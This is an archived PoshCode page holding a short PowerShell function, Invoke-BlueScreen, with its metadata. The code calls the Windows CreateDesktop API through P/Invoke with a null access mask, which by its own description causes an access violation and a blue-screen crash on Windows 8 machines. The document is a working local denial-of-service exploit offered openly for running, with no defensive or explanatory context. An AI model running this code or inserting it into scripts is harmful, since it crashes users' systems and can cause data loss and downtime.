PoshCode Archive  Artifact [fe6ac58a52]

Artifact fe6ac58a525e8fb3c79f466b55c7ad0e7c47713c7076a9737db9c5daf613258d:

  • File Invoke-BlueScreen.ps1 — part of check-in [40f17b1cdc] at 2018-06-10 13:38:32 on branch trunk — Causes a blue screen on Windows 8 machines. Run at your own risk!! The reason is due to an access violation caused by passing in a null value to the access mask of the CreateDesktop function. (user: adamdriscoll size: 940)

# encoding: ascii
# api: powershell
# title: Invoke-BlueScreen
# description: Causes a blue screen on Windows 8 machines. Run at your own risk!! The reason is due to an access violation caused by passing in a null value to the access mask of the CreateDesktop function.
# version: 0.1
# type: function
# author: adamdriscoll
# license: CC0
# function: Invoke-BlueScreen
# x-poshcode-id: 4216
# x-archived: 2016-12-06T10:54:19
# x-published: 2013-06-24T00:34:00
#
#
function Invoke-BlueScreen
{
    Add-Type "
      using System;
      using System.Runtime.InteropServices;
      public class PInvoke
      {
          [DllImport(`"user32.dll`")]
          public static extern IntPtr CreateDesktop(string desktopName, IntPtr device, IntPtr deviceMode, int flags, long accessMask, IntPtr attributes);
      }
    "

    [PInvoke]::CreateDesktop("BSOD", [IntPtr]::Zero, [IntPtr]::Zero, 0, $null, [IntPtr]::Zero)
}